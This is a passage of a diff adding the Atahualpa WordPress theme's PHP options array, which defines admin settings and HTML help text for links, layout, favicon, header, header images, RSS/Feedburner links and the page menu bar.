+    array(    "name" => "Link Default Color",
+    	    "category" => "body-font-links",
+            "id" => $shortname."_link_color",
+            "std" => "666666",
+            "type" => "text",
+            "info" => "All hex color codes."),
+
+    array(    "name" => "Link Hover Color",
+    	    "category" => "body-font-links",
+            "id" => $shortname."_link_hover_color",
+            "std" => "cc0000",
+            "type" => "text",
+            "info" => "Color of links when \"hovering\" over them with the mouse pointer. All hex color codes."),
+
+    array(    "name" => "Link Default Decoration",
+    	    "category" => "body-font-links",
+            "id" => $shortname."_link_default_decoration",
+            "type" => "select",
+            "std" => "none",
+            "options" => array("none", "underline"),
+            "info" => "Underline links or not, in their default state?"),
+
+    array(    "name" => "Link Hover Decoration",
+    	    "category" => "body-font-links",
+            "id" => $shortname."_link_hover_decoration",
+            "type" => "select",
+            "std" => "underline",
+            "options" => array("underline", "none"),
+            "info" => "When the mouse pointer hovers over a link, underline it or not?"),        
+
+    array(    "name" => "Link Text Bold or Not",
+    	    "category" => "body-font-links",
+            "id" => $shortname."_link_weight",
+            "type" => "select",
+            "std" => "bold",
+            "options" => array("bold", "normal"),
+			"lastoption" => "yes", 
+            "info" => "Make link text bold or not?"),
+
+// New category: layout
+
+    array(    "name" => "Layout WIDTH and type (FLUID or FIXED)",
+    	    "category" => "layout",
+			"switch" => "yes",
+            "id" => $shortname."_layout_width",
+            "std" => "99%",
+            "type" => "text",
+			"size" => "7",
+            "info" => "This setting must contain either <code>%</code> (percent) or <code>px</code> after the number.
+			<br /><br /><strong>Examples</strong><ul><li><code>990px</code> Fixed width of 990 pixels</li><li><code>92%</code> 
+			Fluid width of 92%</li><li><code>100%</code> Fluid width spanning the whole browser viewport</li></ul>"),
+
+    array(    "name" => "Layout MIN width",
+    	    "category" => "layout",
+            "id" => $shortname."_layout_min_width",
+            "std" => "",
+            "type" => "text",
+			"size" => "5",
+            "info" => "OPTIONAL, and for FLUID layouts only: You may set a MINIMUM width (in pixels) for fluid layouts, 
+			to limit the resizing behaviour.<br /><br /><strong>Example:</strong> <code>770</code>"),
+
+    array(    "name" => "Layout MAX width",
+    	    "category" => "layout",
+            "id" => $shortname."_layout_max_width",
+            "std" => "",
+            "type" => "text",
+			"size" => "5",
+            "info" => "OPTIONAL, and for FLUID layouts only: You may set a MAXIMUM width (in pixels) for fluid layouts, 
+			to limit the resizing behaviour.<br /><br /><strong>Example:</strong> <code>1250</code>"),
+
+	array(    "name" => "Layout Container Style",
+    	    "category" => "layout",
+            "id" => $shortname."_layout_style",
+            "std" => "padding: 0;",
+            "type" => "textarea",
+            "info" => "Style the layout container here. The layout container holds the whole page including header, 
+			sidebars, center column and footer. <ul><li>Don't use <code>margin</code> here. margin-left and margin-right 
+			are needed to center the layout container. There's also no real need for left/right margin. You can get 
+			space on the left and right of the layout with a layout-width such as 98%. And instead of <code>margin-top</code> 
+			and <code>margin-bottom</code> use padding on the body (see menu tab \"Body, Text & Links\")</li>
+			<li>Left/Right padding must be set separately in the next option. It will be ignored (set to 0) here.</li></ul>
+			<strong>Example:</strong><br /><br /><code>border: solid 2px #cccccc;<br />padding: 10px;</code> 
+			(This effectively only affects top/bottom padding)<br /><code>background: #ffffff;<br />-moz-border-radius: 
+			10px;<br />-khtml-border-radius: 10px;<br />-webkit-border-radius: 10px;<br />border-radius: 10px;</code><br />
+			<br />NOTE: The rounded corners won't be round in Internet Explorer."),
+
+	array(    "name" => "Layout Container Padding Left/Right",
+    	    "category" => "layout",
+            "id" => $shortname."_layout_style_leftright_padding",
+            "std" => "0",
+            "type" => "text",
+			"size" => "4",
+			"lastoption" => "yes", 
+            "info" => "If you want left/right padding on the layout container, put the pixel value here. 
+			The Theme needs this as a separate style, in order to include it in the min/max width calculation. 
+			<strong>Example:</strong> <code>20</code>"),
+
+// New category: favicon
+
+	array(    "name" => "Favicon",
+    	    "category" => "favicon",
+			"switch" => "yes",
+            "id" => $shortname."_favicon_file",
+            "std" => "20-favicon.ico",
+            "type" => "text",
+			"size" => "30",
+			"lastoption" => "yes", 
+            "info" =>  "<img src=\"" . $stylesheet_directory . "/options/images/favicon-locations.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Put the file name of the favicon here, i.e. 
+			<code>fff-sport_soccer.ico</code>. To use your own graphic, upload a <code>your-file-name.ico</code> 
+			to <strong>/atahualpa3/images/favicon/</strong><br /><br />Leave blank to show no favicon.<br /><br />
+			<em>If the icon doesn't show: In some browsers such as IE6 you might have to clear cache and history 
+			and restart the browser</em><br /><br /><em>1-favicon.ico - 44-favicon.ico are available as big .png 
+			files (up to 128x128) at <a href=\"http://www.icon-king.com/projects/nuvola/\">Nuvola Icon Set</a> 
+			if you want to create a matching logo.</em><br /><br /><em>NOTE: If you create your own favicon: 
+			Simply renaming a .gif, .png or jpg file won't work in Internet Explorer. <code>.ico</code> is an 
+			actual file format. Create a 32 bit .png (optional: with transparent background) and a size of 16x16 
+			pixels and convert it into an <code>.ico</code> file with a software such as 
+			<a href=\"http://www.towofu.net/soft-e/\">@Icon Sushi</a></em>" . 
+			"<img src=\"" . $stylesheet_directory . "/options/images/favicons.gif\" style=\"display: block; margin: 10px;\">"),		
+
+// New category: header
+
+    array(    "name" => "Configure Header Area",
+    	    "category" => "header",
+			"switch" => "yes",
+            "id" => $shortname."_configure_header",
+            "type" => "text",
+			"size" => "30",
+            "std" => "%pages %logo %bar1 %image %bar2",
+            "info" => "Choose from 6 header items to arrange a custom header area:<ul><li><code>%pages</code> - 
+			The horizontal drop down menu bar for \"Page\" pages</li><li><code>%cats</code> - The horizontal drop 
+			down menu bar for categories</li><li><code>%logo</code> - The logo area, including the logo icon, 
+			the blog title & description, the search box and the RSS/Email icons</li><li><code>%image</code> - 
+			The rotating (or static) header image with the (optional) opacity overlay left & right and an 
+			(optional) overlayed blog title & blog tagline</li><li><code>%bar1</code> - A horizontal bar, to be 
+			used as decoration on top, bottom of between header items. Can be used multiple times.</li>
+			<li><code>%bar2</code> - A second horizontal bar, that can be styled differently. Can be used 
+			multiple times.</li></ul>You can style and configure these header items individually further down on 
+			this page, and on the menu tabs \"Page Menu Bar\" and \"Category Menu Bar\". <br /><br />This section 
+			here is just for the overall configuration of the header area.<br /><br />List the header items you 
+			want to display, in the order you want to display them.<br /><br />
+			Examples:<ul><li><code>%image %bar1 %logo %bar1 %pages</code></li><li><code>%pages %image %cats</code></li>
+			<li><code>%bar1 %logo %cats %bar2 %pages %bar1</code></li>"),
+		
+	array(    "name" => "Logo Area: Styling",
+    	    "category" => "header",
+            "id" => $shortname."_logoarea_style",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/logo-area.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Style the header's logo area. The logo area is the container that holds 
+			the logo / logo icon, the blog title, the blog tagline, the search box and the RSS/Email icons. 
+			The height of the logo area will be determined by its content. If you want more height, set the height here. 
+			You can set the height, borders and the background. Avoid margin and padding for this container - it's a table.
+			<br /><br /><strong>Example:</strong><br /><code>height: 150px;<br />background: #eeeeee;<br />
+			border: solid 1px #000000;</code>"),
+
+    array(    "name" => "Show Logo Image?",
+    	    "category" => "header",
+            "id" => $shortname."_logo",
+            "type" => "text",
+            "std" => "logo.gif",
+            "info" => "Show a logo in the logo area? Leave blank to show no logo. To test this, put <code>huge-logo.gif</code> 
+			here and set both \"Show Blog Title\" and \"Show Blog Tagline\" to \"No\" below. <br /><br />" . $logo_icon_text),
+
+	array(    "name" => "Logo Image: Styling",
+    	    "category" => "header",
+            "id" => $shortname."_logo_style",
+            "std" => "margin: 0 10px 0 0;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/logo-style.gif\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Style the logo here, i.e. give it a border or move it around by applying margins.
+			<br /><br /><strong>Example:</strong><br /><br /><code>margin: 30px 30px 30px 30px;</code>"),
+
+    array(    "name" => "Show Blog Title?",
+    	    "category" => "header",
+            "id" => $shortname."_blog_title_show",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "You can remove the blog title, i.e. if you want to have just a (bigger) graphical logo instead 
+			of a small logo icon plus the blog title in HTML. If you set this to \"No\" you'll probably want to remove 
+			the Blog Tagline as well (see below)"),
+			
+    array(    "name" => "Blog Title",
+    	    "category" => "header",
+            "id" => $shortname."_blog_title_style",
+            "std" => "margin: 0;\npadding:0;\nletter-spacing:-1px;\nline-height: 1.0em;\n
+			font-family: tahoma, arial, sans-serif;\nfont-size: 240%;",
+            "type" => "textarea",
+            "info" => "Style the blog title font except the color and font-weight (= next options)."),
+
+    array(    "name" => "Blog Title: Font Weight",
+    	    "category" => "header",
+            "id" => $shortname."_blog_title_weight",
+            "type" => "select",
+            "std" => "bold",
+            "options" => array("bold", "normal"),
+            "info" => "Make blog title bold or not."),
+			
+    array(    "name" => "Blog Title Color",
+    	    "category" => "header",
+            "id" => $shortname."_blog_title_color",
+            "std" => "666666",
+            "type" => "text",
+            "info" => "The blog title default color."),
+			
+    array(    "name" => "Blog Title Color: Hover",
+    	    "category" => "header",
+            "id" => $shortname."_blog_title_color_hover",
+            "std" => "000000",
+            "type" => "text",
+            "info" => "The blog title hover color."),
+
+    array(    "name" => "Show Blog Tagline?",
+    	    "category" => "header",
+            "id" => $shortname."_blog_tagline_show",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "You can remove the blog tagline here. The blog tagline is the short blog description under 
+			the blog title. It can be set at Settings -> General -> Tagline."),
+			
+    array(    "name" => "Blog Tagline",
+    	    "category" => "header",
+            "id" => $shortname."_blog_tagline_style",
+            "std" => "margin: 0;\npadding: 0;\nfont-size:1.2em;\nfont-weight: bold;\ncolor: #666666;",
+            "type" => "textarea",
+            "info" => "Style the blog tagline."),
+			
+    array(    "name" => "Show search box?",
+    	    "category" => "header",
+            "id" => $shortname."_show_search_box",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "You can remove the search box from the header here.<br /><br /><em>To put a search box into 
+			one of the sidebars, go to Site Admin -> " . $path_to_widgets . " -> Widgets, and add the \"Search\" 
+			widget to one of the sidebars.</em>"),
+
+	array(    "name" => "Search box",
+    	    "category" => "header",
+            "id" => $shortname."_searchbox_style",
+            "std" => "border-top: 1px dashed #ccc;\nborder-right: 1px dashed #ccc;\nborder-bottom: 0;\n
+			border-left: 1px dashed #ccc;\nwidth: 200px;\nmargin: 0;\npadding: 0;",
+            "type" => "textarea",
+            "info" => "Style the searchbox in the header."),
+
+	array(    "name" => "Text in header search box",
+    	    "category" => "header",
+            "id" => $shortname."_searchbox_text",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "Show pre-filled text in the header search box, such as <code>Type + Enter to search</code> ?"),		
+
+    array(    "name" => "Horizontal Bar 1: Styling",
+    	    "category" => "header",
+            "id" => $shortname."_horbar1",
+            "std" => "height: 5px;\nbackground: #ffffff;\nborder-top: dashed 1px #cccccc;",
+            "type" => "textarea",
+            "info" => "2 (empty) horizontal bars are available, both of which you can style differently and use once or 
+			multiple times as additional styling elements for the header area. These bars will span the whole layout width. 
+			You can style their background color, height and all 4 borders (top, right, bottom, left)."),
+
+    array(    "name" => "Horizontal Bar 2: Styling",
+    	    "category" => "header",
+            "id" => $shortname."_horbar2",
+            "std" => "height: 5px;\nbackground: #ffffff;\nborder-bottom: dashed 1px #cccccc;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style the 2nd horizontal bar here. You can use each one of these bars multiple times (or not at all)."),
+			
+// New category: header-image
+
+    array(    "name" => "Header Images",
+    	    "category" => "header-image",
+			"switch" => "yes",
+            "id" => $shortname."_header_image_info",
+            "type" => "info",
+            "info" => "<br />All header images are located in /[theme-name]/images/header. All images in that directory will 
+			be rotated. If you don't want rotating header images, leave only one image in that directory. <ul><li>If you 
+			chose a fixed width layout, the image(s) should be as wide as your layout width.</li><li>If you chose a fluid layout, 
+			the images should be as wide as your \"max width\" setting.</li><li>If you chose no \"max-width\" setting, your 
+			images should be as wide as the widest screen resolution (of your visitors) you want to cater for. 1280 pixels is 
+			common today, so the images should be that wide or wider. The next common screen widths are 1440, 1600, 1680 and 
+			1920 pixels. </li></ul>" . $header_image_text),
+			
+    array(    "name" => "Make header image clickable?",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_image_clickable",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Select \"Yes\" to make the header image clickable and to link it to the homepage."),
+
+    array(    "name" => "Header Image: Height",
+    	    "category" => "header-image",
+            "id" => $shortname."_headerimage_height",
+            "std" => "150",
+            "type" => "text",
+			"size" => "5",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/header-image-height.jpg\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Visible height of the header image(s), <strong>in pixels</strong>. 
+			Change this value to show a taller or less tall area of the header image(s). <br /><br /><em>This value 
+			does not need to match the actual height of your header image(s). In fact, all your header images could 
+			have different (actual) heights. Only the top XXX (= value that you set here) pixels of each image will 
+			be shown, the rest will be hidden. </em>"),
+
+    array(    "name" => "Header Image: Alignment",
+    	    "category" => "header-image",
+            "id" => $shortname."_headerimage_alignment",
+            "type" => "select",
+            "std" => "top center",
+            "options" => array("top center", "top left", "top right", "center left", "center center", "center right", 
+			"bottom left", "bottom center", "bottom right"),
+            "info" => "The aligned edge or end of the image will be the fixed part, and the image will be cut off from 
+			the opposite edge or end if it doesn't fit into the visitor's browser viewport. <br /><br />
+			<strong>Example:</strong> If you choose \"Top Left\" as the alignment, then the image(s) will be cut off 
+			from the opposite edge, which would be \"Bottom Right\" in this case."),
+
+    array(    "name" => "Opacity LEFT: Value",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_left",
+            "std" => "40",
+            "type" => "select",
+			"options" => array("0", "5", "10", "15", "20", "25", "30", "35", "40", "45", "50", "55", "60", "65", 
+			"70", "75", "80", "85", "90", "95"),
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/opacity.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Opacity overlay for the LEFT hand side of the header image. 
+			Choose 0 to remove the Opacity."),
+
+    array(    "name" => "Opacity LEFT: Width",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_left_width",
+            "std" => "200",
+            "type" => "text",
+			"size" => "5",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/opacity-left-width.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Width of the Opacity overlay for the LEFT hand side of the header image, 
+			<strong>in pixels</strong>. To match this to the left sidebar's width, add up the left sidebar's width plus 
+			its left and right paddings, if you've set any."),
+
+    array(    "name" => "Opacity LEFT: Color",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_left_color",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Color of the Opacity overlay for the LEFT hand side of the header image."),
+			
+    array(    "name" => "Opacity RIGHT: Value",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_right",
+            "std" => "40",
+            "type" => "select",
+			"options" => array("0", "5", "10", "15", "20", "25", "30", "35", "40", "45", "50", "55", "60", "65", 
+			"70", "75", "80", "85", "90", "95"),
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/opacity.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Opacity overlay for the RIGHT hand side of the header image. 
+			Choose 0 to remove the Opacity."),
+
+    array(    "name" => "Opacity RIGHT: Width",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_right_width",
+            "std" => "200",
+            "type" => "text",
+			"size" => "5",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/opacity-right-width.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "Width of the Opacity overlay for the RIGHT hand side of the header image, 
+			<strong>in pixels</strong>. To match this to the right sidebar's width, add up the left sidebar's width plus 
+			its left and right paddings, if you've set any."),
+
+    array(    "name" => "Opacity RIGHT: Color",
+    	    "category" => "header-image",
+            "id" => $shortname."_header_opacity_right_color",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Color of the Opacity overlay for the RIGHT hand side of the header image."),
+
+    array(    "name" => "Overlay Blog TITLE over Header Image(s)?",
+    	    "category" => "header-image",
+            "id" => $shortname."_overlay_blog_title",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "An alternative location for the blog title."),
+
+    array(    "name" => "Overlay Blog TAGLINE over Header Image(s)?",
+    	    "category" => "header-image",
+            "id" => $shortname."_overlay_blog_tagline",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "An alternative location for the blog tagline."),
+
+    array(    "name" => "Overlayed Blog Title/Tagline Style",
+    	    "category" => "header-image",
+            "id" => $shortname."_overlay_box_style",
+            "std" => "margin-top: 30px;\nmargin-left: 30px;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/header-overlay.jpg\" style=\"float: right; 
+			margin: 0 0 10px 10px;\">" . "The overlayed blog title and blog tagline will be in a div container. 
+			Move that container around by changing the <code>margin-top</code> and <code>margin-left</code> values. 
+			To right-align the overlayed container, add <code>float: right;</code> and replace <code>margin-left</code> 
+			with <code>margin-right</code>. To center it, add <code>float:none; margin-left:auto; margin-right:auto; 
+			text-align:center;</code> and, instead of adding margin-top here, add padding-top to 
+			the parent container, via HTML/CSS Inserts -> CSS Inserts: 
+			<code>div.header-image-container { padding-top: 30px; height: XXXpx; }</code> with XXX = desired image height - 
+			padding-top value.<br />
+			<br />You can add background color, borders and padding, too.
+			<br /><br /><strong>Example (as shown in the image):</strong><br /><br /><code>margin-top: 30px;<br />margin-left: 30px;<br />
+			width: 300px;<br />padding: 7px;<br />background: #ffffff;<br />border: solid 2px #000000;<br />
+			filter: alpha(opacity=60);<br />-moz-opacity:.60;<br />opacity:.60;<br />-moz-border-radius: 7px;<br />
+			-khtml-border-radius: 7px;<br />-webkit-border-radius: 7px;<br />border-radius: 7px;</code><br /><br />
+			Leave <code>width: ...;</code> out to let the box adjust to the width of the blog title or tagline, whichever is longer.<br />
+			<br />To change the styles of the blog title or the blog tagline individually, see the menu tab \"Header\"."),        
+
+// New category: feed-links
+
+    array(    "name" => "RSS settings",
+    	    "category" => "feed-links",
+			"switch" => "yes",
+            "id" => $shortname."_rss_settings_info",
+            "type" => "info",
+            "info" => "<br />Choose from 4 types of RSS links:<ul><li>Subscribe to the Posts feed</li><li>Subscribe to 
+			the Comments feed</li><li>Subscribe by Email, via Feedburner</li><li>Subscribe to the comments of a single 
+			post</li></ul>There are 4 different locations to place these RSS links:<ul><li>On the right hand side of 
+			the logo area: Small buttons and/or text links.<br />Configuration: Menu tab \"RSS Settings\" (the page you're 
+			looking at right now)</li><li>In a sidebar, via the widget \"BFA Subscribe\". Bigger buttons and text, plus 
+			a Email form field.<br />Configuration: Site Admin -> Design (\"Presentation\" in WP 2.3 and older) -> Widgets 
+			-> BFA Subscribe.</li><li>In the footer area: Text links.<br />Configuration: Menu tab \"Footer\".</li><li>
+			Above or below a post: Buttons and/or Text links<br />Configuration: Menu tab \"Post/Page Info Items\".</li></ul>
+			After you've configured everything...<ul><li>... the \"Subscribe by Email\" link will go to Feedburner</li><li>... 
+			the \"Subscribe by Email\" form field will be submitted to Feedburner</li><li>... but all Posts and Comments 
+			Feed links will still go to the default WordPress RSS links</li></ul><strong>If you want to redirect all the 
+			Posts and Comments RSS links to Feedburner, you will need to install the 
+			<a href=\"http://www.google.com/support/feedburner/bin/answer.py?answer=78483&topic=13252\">Feedburner Feedsmith</a> 
+			plugin.</strong> <em>Note: When copying and pasting your Feedburner feed URL from your Feedburner account into 
+			the options page of Feedsmith here on your blog, make sure there is <strong>no space</strong> at the end of the 
+			URL or Feedburner account name.</em><br /><br />This theme does not send RSS subscribers (other than Email subscribers) 
+			straight away to Feedburner, because...<ul><li>... that would not cover existing subscribers</li><li>... 
+			Feedsmith is a global solution that covers each and any RSS link on your site, including those a third party 
+			plugin may add</li><li>... with a Feedsmith redirection readers subscribe to the URLs that you control 
+			(http://www.yourdomain.com/feed/). Should you ever want to stop using Feedburner, simply uninstall the Feedsmith plugin 
+			and you'll keep all your subscribers - they just won't be redirected anymore.</li></ul>"),
+
+	array(    "name" => "RSS Box Width",
+    	    "category" => "feed-links",
+            "id" => $shortname."_rss_box_width",
+            "std" => "280",
+            "type" => "text",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/rss-box.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Give the box containing the RSS buttons/links a fixed width, <strong>in pixels</strong>, to keep them in 
+			one line, to avoid early wrapping. You shouldn't make this wider than needed for the given content."),		
+			
+    array(    "name" => "Show Post Feed icon?",
+    	    "category" => "feed-links",
+            "id" => $shortname."_show_posts_icon",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/show_posts_icon.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Show the Post RSS Feed icon on the right hand side of the logo area?"),
+
+	array(    "name" => "Post Feed Link Text",
+    	    "category" => "feed-links",
+            "id" => $shortname."_post_feed_link",
+            "std" => "Posts",
+            "type" => "text",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post_feed_link.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Leave blank to show no Post Feed Text Link in the logo area."),		
+
+	array(    "name" => "Post Feed Link \"Title\"",
+    	    "category" => "feed-links",
+            "id" => $shortname."_post_feed_link_title",
+            "std" => "Subscribe to the POSTS feed",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/post_feed_link_title.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"This is not the link anchor text (that was one option above), but the link \"title\", a text that will pop up when the mouse points at the link."),		
+
+    array(    "name" => "Show Comment Feed icon?",
+    	    "category" => "feed-links",
+            "id" => $shortname."_show_comments_icon",
+            "type" => "select",
+            "std" => "Yes",
+            "options" => array("Yes", "No"),
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/show_comments_icon.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Show the Comment RSS Feed icon on the right hand side of the logo area?"),
+
+	array(    "name" => "Comment Feed Link Text",
+    	    "category" => "feed-links",
+            "id" => $shortname."_comment_feed_link",
+            "std" => "Comments",
+            "type" => "text",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/comment_feed_link.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Leave blank to show no Comment Feed Text Link in the logo area."),		
+
+	array(    "name" => "Comment Feed Link \"Title\"",
+    	    "category" => "feed-links",
+            "id" => $shortname."_comment_feed_link_title",
+            "std" => "Subscribe to the COMMENTS feed",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/comment_feed_link_title.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"This is not the link anchor text (that was one option above), but the link \"title\", a text that will pop up when the mouse points at the link."),		
+
+    array(    "name" => "Show Feedburner Email icon?",
+    	    "category" => "feed-links",
+            "id" => $shortname."_show_email_icon",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/show_email_icon.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Show a Feedburner \"Subscribe by Email\" icon on the right hand side of the logo area?"),
+
+	array(    "name" => "Feedburner Email Link Text",
+    	    "category" => "feed-links",
+            "id" => $shortname."_email_subscribe_link",
+            "std" => "By Email",
+            "type" => "text",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/email_subscribe_link.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"Leave blank to show no \"Subscribe by Email\" Text Link in the logo area"),		
+
+	array(    "name" => "Feedburner Email Link \"Title\"",
+    	    "category" => "feed-links",
+            "id" => $shortname."_email_subscribe_link_title",
+            "std" => "Subscribe by EMAIL",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/email_subscribe_link_title.gif\" style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"This is not the link anchor text (that was one option above), but the link \"title\", a text that will pop up when the mouse points at the link."),		
+			
+    array(    "name" => "Feedburner ID for this site?",
+    	    "category" => "feed-links",
+            "id" => $shortname."_feedburner_email_id",
+            "type" => "text",
+            "std" => "",
+			"size" => "25", 
+            "info" => "If you chose to show the Feedburner \"Subscribe by Email\" link, put the ID of the Feedburner feed for this site here. 
+			<br /><br />The ID will be a number (around 7 digits) if you have an OLD account at feedburner.com. If you have a NEW account 
+			at feedburner.google.com, the ID will not be a number but a string that probably resembles your site name but without spaces.
+			<br /><br />Log in your Feedburner account, click \"My Feeds\" -> \"[Title of the feed/site in question]\" 
+			-> \"Publicize\" -> \"Email Subscriptions\". (If you have not activated the Email subscription yet do it now and proceed with the 
+			next step afterwards). Now check out the two textareas.<br /><br /><strong>If you have a feedburner.google.com account:</strong> 
+			The smaller one of the two textareas, the one at the bottom, will contain something like this:  
+			<code>feedburner.google.com/fb/a/mailverify?uri=<i>bytesforall/lzoG</i>&amp;loc=en_US</code> The highlighted 
+			text is your Google/Feedburner ID. Note: <strong>bytesforall/lzoG</strong> will NOT be your ID. This is just a sample to show you where the 
+			ID starts and where it ends. It starts after <code>?uri=</code> and it ends before <code>&amp;loc=</code><br /><br /><strong>
+			If you have an (old, original) feedburner.com account:</strong> With an old feedburner account, that is not transferred to google yet, 
+			the smaller one of the two textareas, the one at the bottom, will contain something like this: 
+			<code>www.feedburner.com/fb/a/emailverifySubmit?feedId=<i>1234567</i>&amp;loc=en_US</code> The highlighted number is 
+			your (old, original) Feedburner.com ID. Note: <strong>1234567</strong> will NOT be your ID. This is just a sample to show you where the 
+			ID starts and where it ends. It starts after <code>?feedId=</code> and it ends before <code>&amp;loc=</code><br /><br />	
+			Now that you got your (new Google/Feedburner OR old Feedburner.com) ID put it into this field here"),
+
+    array(    "name" => "OLD or NEW Feedburner account?",
+    	    "category" => "feed-links",
+            "id" => $shortname."_feedburner_old_new",
+            "type" => "select",
+            "std" => "New - at feedburner.google.com",
+			"lastoption" => "yes", 
+            "options" => array("New - at feedburner.google.com", "Old - at feedburner.com"),
+            "info" => "Whether your account qualifies as old or new does not depend on whether you log in at feedburner.com or at feedburner.google.com. 
+			See one option above to determine whether your account is OLD or NEW."),
+
+// New category: page-menu-bar
+
+    array(    "name" => "Home link in Page Menu Bar",
+    	    "category" => "page-menu-bar",
+			"switch" => "yes",
+            "id" => $shortname."_home_page_menu_bar",
+            "std" => "Home",
+            "type" => "text",
+            "info" => "<ul><li>Leave this blank to have no \"Home\" link in the page menu bar</li><li>Or, put text here 
+			to include a link to your homepage into the page menu bar</li><li>The text doesn't have to be \"Home\", it 
+			can be anything</li></ul>"),
+
+    array(    "name" => "Exclude pages from Page Menu Bar?",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_exclude_page_menu_bar",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "<ul><li>Leave blank to include all pages in the page menu bar</li><li>To exclude certain pages from the 
+			page menu bar, put their ID's into this field, separated by comma</li></ul><strong>Example:</strong> <code>13,29,102,117</code>
+			<br /><br />To get the ID of a page, go to Site Admin -> Manage -> Pages, point your mouse at the title of the page 
+			in question, and watch your browser's status bar (it's at the bottom) for an URL ending on \"...action=edit&post=<strong>XX</strong>\". 
+			<strong>XX</strong> is the ID of the page."),
+
+    array(    "name" => "Depth of Page Menu Bar",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_levels_page_menu_bar",
+            "std" => "0",
+            "type" => "select",
+            "options" => array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10),
+            "info" => "<ul><li>Choose 0 to include ALL levels of pages (top level, sub pages, sub sub pages...) in the page 
+			menu bar</li><li>Choose a number between 1 and 10 to include only the respective amount of page levels</li></ul>"),
+
+    array(    "name" => "Sorting order of Page Menu Bar",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_sorting_page_menu_bar",
+            "type" => "select",
+            "std" => "menu_order",
+            "options" => array("menu_order", "post_title"),
+            "info" => "<ul><li><code>menu_order</code> - Sort the pages chronologically, as you created them (Change the page 
+			order at Manage -> Pages -> Click on page title -> Page Order)</li><li><code>post_title</code> - alphabetically</li></ul>"),
+
+    array(    "name" => "Title tags in Page Menu Bar",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_titles_page_menu_bar",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Include a \"title\" tag for each item in the page menu? These will pop up when hovering over a menu item."),
+
+    array(    "name" => "Border around all menu items",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_anchor_border_page_menu_bar",
+            "std" => "dashed 1px #cccccc",
+            "type" => "text",
+            "info" => "Every item of the menu bar, plus the menu bar itself, will be wrapped into this border. 
+			To have no borders in the first level, give it the same color as the background color for first level items. 
+			Don't use semicolons here.<br /><br />Note: Leave the border width at 1px, match colors if you want to make 
+			it dissapear."),
+
+    array(    "name" => "Background color",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_bar_background_color",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Background color for menu items in their default state and the menu bar itself."),
+
+
+    array(    "name" => "Background color: Hover",
+    	    "category" => "page-menu-bar",
